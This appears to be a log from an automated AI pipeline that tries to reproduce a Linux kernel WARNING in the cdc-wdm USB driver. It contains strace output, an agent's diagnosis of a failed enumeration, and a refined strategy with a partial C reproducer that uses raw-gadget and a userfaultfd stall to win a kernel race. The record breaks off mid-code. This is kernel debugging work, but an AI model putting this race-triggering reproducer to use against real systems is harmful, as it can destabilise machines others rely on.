[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[host] Command execution timed out after 2m30s
Crash Report:
|
| 145/4 |
2026/09/11 22:38 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 18126
output: 472
thoughts: 3384
Thoughts: Here are my thoughts on the analysis of the generated C program's execution attempting to reproduce the kernel bug:
**Analysis of the USB Raw-Gadget Reproduction Attempt**
My primary goal was to analyze the results of the generated C program's execution, which was designed to trigger a specific kernel bug: a WARNING in `usb_submit_urb` called from `service_outstanding_interrupt` in `drivers/usb/class/cdc-wdm.c`, specifically "URB ffff888112540000 submitted while active".
The execution, however, did not reach the point of triggering this warning. It timed out after 2 minutes and 30 seconds. My first step was to examine the provided `strace` output and console logs to understand why.
The `strace` output showed a continuous loop of `ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)`. I needed to identify this `ioctl` call. By cross-referencing the `_IOC` parameters with the USB raw-gadget API (`include/uapi/linux/usb/raw_gadget.h`), I deduced that `_IOC(_IOC_READ, 0x55, 0x2, 0x48)` corresponds to `USB_RAW_IOCTL_EVENT_FETCH`. The `0x55` signifies the 'U' magic number, `0x2` indicates the command index (which is 2 for `EVENT_FETCH`), and `0x48` is the size of the `struct usb_raw_event` data structure passed in the `arg`.
The critical observation here is that this `ioctl` call, `USB_RAW_IOCTL_EVENT_FETCH`, was consistently returning `-1 EINVAL`. I then looked into the `raw_gadget.c` kernel code to understand the conditions under which `USB_RAW_IOCTL_EVENT_FETCH` would return `EINVAL`. I found the relevant check: `if (dev->state != STATE_RUNNING) return -EINVAL;`. This immediately told me that the raw-gadget was not in the `STATE_RUNNING` state when this `ioctl` was being called.
This finding was corroborated by the console output. While the user-space program might have printed `[+] Gadget initialized and running.`, the kernel's perspective was different, as evidenced by `raw-gadget.0 gadget.0: ignoring, device is not running`. This divergence in state perception is a key clue.
Furthermore, the console logs clearly indicated a failure in USB device enumeration:
* `usb 1-1: device descriptor read/64, error -110`
* `usb usb1-port1: unable to enumerate USB device`
An `error -110` typically signifies a timeout during the communication with the USB device. This timeout occurs when the host attempts to read the device descriptor but doesn't receive a timely response from the gadget.
My reasoning then focused on connecting these pieces: the `EINVAL` from `EVENT_FETCH` and the enumeration timeout.
1. **The `EINVAL` Problem**: The `EINVAL` return from `USB_RAW_IOCTL_EVENT_FETCH` means the reproducer is caught in a loop, continuously trying to fetch events from a gadget that the kernel doesn't consider "running". This suggests that the `USB_RAW_IOCTL_RUN` command might not have been successfully executed, or if it was, the gadget may have subsequently transitioned out of the `STATE_RUNNING` state due to an error or reset. The reproducer's infinite loop on `EVENT_FETCH` when it's not running is consuming resources without progressing.
2. **The Enumeration Failure**: The host's inability to read the device descriptor (`error -110`) points directly to a failure in the initial USB handshake. The gadget is expected to respond to `Get Descriptor` requests from the host. This response is typically handled by the raw-gadget driver processing `USB_RAW_EVENT_CONTROL` events and using `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ` to send back the descriptors (Device, Configuration, etc.). If this handshake fails, the host will time out, and the device enumeration will halt, preventing the buggy `cdc-wdm.c` code from ever being invoked.
Therefore, my conclusion is that the reproduction attempt failed because the fundamental USB device enumeration process broke down. The reproducer code is stuck in a loop due to the `raw-gadget` not being in the `STATE_RUNNING` state, and it's not correctly handling endpoint 0 requests to provide the necessary device descriptors to the host. This prevents the USB device from being properly recognized, and consequently, the target bug in `cdc-wdm.c` is never reached.
Based on this analysis, the proposed fixes are:
* Ensure `USB_RAW_IOCTL_RUN` is called and its return value is checked.
* Implement proper handling of `USB_RAW_EVENT_CONTROL` by responding to host requests (like `Get Descriptor`) using `USB_RAW_IOCTL_EP0_WRITE`/`USB_RAW_IOCTL_EP0_READ` to send the required device descriptors.
* Gracefully handle `EINVAL` and other errors from `USB_RAW_IOCTL_EVENT_FETCH` to avoid indefinite busy-looping.
|
| 146/4 |
2026/09/11 22:38 |
tool |
set-results |
0m
Args: map[Feedback:The reproduction attempt failed. The program timed out after 2m30s without triggering the bug.
Console logs show that the dummy HCD failed to enumerate the USB device:
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
Additionally, the kernel logged: `raw-gadget.0 gadget.0: ignoring, device is not running`.
Strace output reveals that the reproducer is stuck in a busy loop calling `ioctl(3, USB_RAW_IOCTL_EVENT_FETCH)` (which corresponds to `_IOC(_IOC_READ, 0x55, 0x2, 0x48)`), and it is repeatedly returning `-1 EINVAL`.
In the `raw-gadget` driver, `USB_RAW_IOCTL_EVENT_FETCH` returns `-EINVAL` if the gadget is not in the `STATE_RUNNING` state.
To fix this:
1. Ensure that `USB_RAW_IOCTL_RUN` is successfully called and check its return value before attempting to fetch events.
2. If `USB_RAW_IOCTL_RUN` is successful, the reproducer must correctly handle endpoint 0 setup requests. When a `USB_RAW_EVENT_CONTROL` event is received, the reproducer must parse the setup packet and respond with the appropriate descriptors (Device, Configuration, etc.) using `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`. If the reproducer does not respond to the host's `Get Descriptor` requests, the enumeration will fail with error `-110` (timeout), and the device will not be instantiated.
3. Make sure to handle `EINVAL` or other errors from `EVENT_FETCH` gracefully rather than busy-looping indefinitely. ProbePassed:false TerminalError: TitleMatches:false]
Results: map[Feedback:The reproduction attempt failed. The program timed out after 2m30s without triggering the bug.
Console logs show that the dummy HCD failed to enumerate the USB device:
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
Additionally, the kernel logged: `raw-gadget.0 gadget.0: ignoring, device is not running`.
Strace output reveals that the reproducer is stuck in a busy loop calling `ioctl(3, USB_RAW_IOCTL_EVENT_FETCH)` (which corresponds to `_IOC(_IOC_READ, 0x55, 0x2, 0x48)`), and it is repeatedly returning `-1 EINVAL`.
In the `raw-gadget` driver, `USB_RAW_IOCTL_EVENT_FETCH` returns `-EINVAL` if the gadget is not in the `STATE_RUNNING` state.
To fix this:
1. Ensure that `USB_RAW_IOCTL_RUN` is successfully called and check its return value before attempting to fetch events.
2. If `USB_RAW_IOCTL_RUN` is successful, the reproducer must correctly handle endpoint 0 setup requests. When a `USB_RAW_EVENT_CONTROL` event is received, the reproducer must parse the setup packet and respond with the appropriate descriptors (Device, Configuration, etc.) using `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`. If the reproducer does not respond to the host's `Get Descriptor` requests, the enumeration will fail with error `-110` (timeout), and the device will not be instantiated.
3. Make sure to handle `EINVAL` or other errors from `EVENT_FETCH` gracefully rather than busy-looping indefinitely. ProbePassed:false TerminalError: TitleMatches:false]
|
| 147/3 |
2026/09/11 22:39 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The reproduction attempt failed. The program timed out after 2m30s without triggering the bug.
Console logs show that the dummy HCD failed to enumerate the USB device:
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
Additionally, the kernel logged: `raw-gadget.0 gadget.0: ignoring, device is not running`.
Strace output reveals that the reproducer is stuck in a busy loop calling `ioctl(3, USB_RAW_IOCTL_EVENT_FETCH)` (which corresponds to `_IOC(_IOC_READ, 0x55, 0x2, 0x48)`), and it is repeatedly returning `-1 EINVAL`.
In the `raw-gadget` driver, `USB_RAW_IOCTL_EVENT_FETCH` returns `-EINVAL` if the gadget is not in the `STATE_RUNNING` state.
To fix this:
1. Ensure that `USB_RAW_IOCTL_RUN` is successfully called and check its return value before attempting to fetch events.
2. If `USB_RAW_IOCTL_RUN` is successful, the reproducer must correctly handle endpoint 0 setup requests. When a `USB_RAW_EVENT_CONTROL` event is received, the reproducer must parse the setup packet and respond with the appropriate descriptors (Device, Configuration, etc.) using `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`. If the reproducer does not respond to the host's `Get Descriptor` requests, the enumeration will fail with error `-110` (timeout), and the device will not be instantiated.
3. Make sure to handle `EINVAL` or other errors from `EVENT_FETCH` gracefully rather than busy-looping indefinitely. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 148/2 |
2026/09/11 22:39 |
iteration |
2 |
31m
|
| 149/3 |
2026/09/11 22:39 |
action |
If |
10m
Args: map[OracleFeedback:The reproduction attempt failed. The program timed out after 2m30s without triggering the bug.
Console logs show that the dummy HCD failed to enumerate the USB device:
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
Additionally, the kernel logged: `raw-gadget.0 gadget.0: ignoring, device is not running`.
Strace output reveals that the reproducer is stuck in a busy loop calling `ioctl(3, USB_RAW_IOCTL_EVENT_FETCH)` (which corresponds to `_IOC(_IOC_READ, 0x55, 0x2, 0x48)`), and it is repeatedly returning `-1 EINVAL`.
In the `raw-gadget` driver, `USB_RAW_IOCTL_EVENT_FETCH` returns `-EINVAL` if the gadget is not in the `STATE_RUNNING` state.
To fix this:
1. Ensure that `USB_RAW_IOCTL_RUN` is successfully called and check its return value before attempting to fetch events.
2. If `USB_RAW_IOCTL_RUN` is successful, the reproducer must correctly handle endpoint 0 setup requests. When a `USB_RAW_EVENT_CONTROL` event is received, the reproducer must parse the setup packet and respond with the appropriate descriptors (Device, Configuration, etc.) using `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`. If the reproducer does not respond to the host's `Get Descriptor` requests, the enumeration will fail with error `-110` (timeout), and the device will not be instantiated.
3. Make sure to handle `EINVAL` or other errors from `EVENT_FETCH` gracefully rather than busy-looping indefinitely.]
|
| 150/4 |
2026/09/11 22:39 |
agent |
strategy-refiner |
10m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.
=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.
=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Current Strategy: An elegant and 100% reliable way to trigger this race condition is to use `userfaultfd` to pause the execution of `wdm_read()` exactly when it is copying data to userspace, and then trigger the `wdm_rxwork` error path by stalling the Interrupt IN endpoint.
### Method Explanation
1. **Gadget Setup**: We emulate a CDC WDM device using `raw-gadget`. The device exposes a Control endpoint (EP0) and an Interrupt IN endpoint (EP1).
2. **Double Notification**: The gadget sends two `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notifications on EP1. The host driver increments `desc->resp_count` to 2. The host submits a Control Read URB for the first notification.
3. **Data Response**: The gadget responds to the Control Read URB on EP0 with 10 bytes of data. The host driver copies this data to its internal buffer, clears the `WDM_RESPONDING` flag, and wakes up any pending readers.
4. **Block `read()`**: A userspace thread calls `read(/dev/cdc-wdm0, buf, 10)` where `buf` is a memory region monitored by `userfaultfd`. The `read()` syscall starts copying the 10 bytes and blocks on the page fault.
5. **Trigger `wdm_rxwork`**: While `read()` is blocked, the gadget sends a STALL (HALT) on EP1. The host receives `-EPIPE` and schedules `wdm_rxwork()`.
6. **The Race**:
- `wdm_rxwork()` runs, sees `WDM_RESPONDING == 0`, sets it to 1, and submits the `desc->response` URB.
- We wait a fraction of a second to ensure the URB is submitted and active.
- We resolve the `userfaultfd` page fault.
- `read()` finishes `copy_to_user()` and calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `resp_count` to 1, sets `WDM_RESPONDING` to 1 (blindly overwriting it), and submits the `desc->response` URB again.
- The USB core detects that the URB is already active and emits the `URB submitted while active` WARNING.
### C Reproducer
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
